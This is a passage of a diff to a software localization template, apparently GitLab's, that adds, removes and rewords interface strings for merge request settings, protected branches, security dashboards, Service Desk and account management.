+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23508,7 +24120,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23520,10 +24132,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23556,10 +24168,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23583,15 +24198,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23622,7 +24231,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23631,7 +24240,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23652,16 +24261,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23673,12 +24279,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23706,10 +24315,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24243,6 +24852,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24264,7 +24882,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24285,6 +24903,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24459,7 +25080,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24648,7 +25269,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24809,7 +25430,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24821,7 +25442,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24845,6 +25466,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -24893,9 +25517,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25142,6 +25763,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25183,7 +25807,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25203,6 +25827,12 @@ msgstr[0] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25329,6 +25959,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25425,6 +26058,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25729,7 +26365,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -25873,6 +26512,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -25906,9 +26548,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26005,6 +26644,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26023,6 +26665,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26047,9 +26692,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26101,6 +26743,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26152,6 +26797,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26161,6 +26809,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26355,6 +27006,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26430,13 +27084,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26445,10 +27105,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26463,6 +27123,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26520,16 +27183,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26595,15 +27270,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26655,9 +27321,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26667,9 +27330,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26706,6 +27366,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26715,7 +27378,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26745,9 +27408,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26802,9 +27471,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -26898,6 +27564,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27036,19 +27705,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27150,6 +27843,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27204,7 +27900,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27216,6 +27912,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27237,6 +27936,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27440,9 +28142,15 @@ msgstr[0] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27461,6 +28169,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27701,6 +28412,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28379,13 +29093,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28400,9 +29114,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28415,7 +29126,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28505,9 +29216,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28523,9 +29231,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28583,9 +29288,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29209,6 +29911,10 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29364,9 +30070,6 @@ msgstr[0] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29439,6 +30142,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29466,6 +30172,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29478,6 +30187,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29539,6 +30251,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29599,6 +30314,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29671,6 +30389,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29722,6 +30443,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29770,6 +30494,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29797,6 +30527,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -29830,9 +30563,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30076,6 +30806,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30214,7 +30947,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30298,6 +31031,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30307,6 +31043,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30319,6 +31058,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30625,9 +31367,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30724,9 +31463,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31023,6 +31759,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31065,9 +31810,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31095,7 +31837,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31200,6 +31942,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31396,10 +32141,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31534,9 +32279,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31591,6 +32333,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -31993,7 +32741,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32002,6 +32750,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32098,6 +32849,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32296,9 +33050,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32350,6 +33101,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32395,7 +33149,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32623,9 +33380,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32692,7 +33446,22 @@ msgstr ""
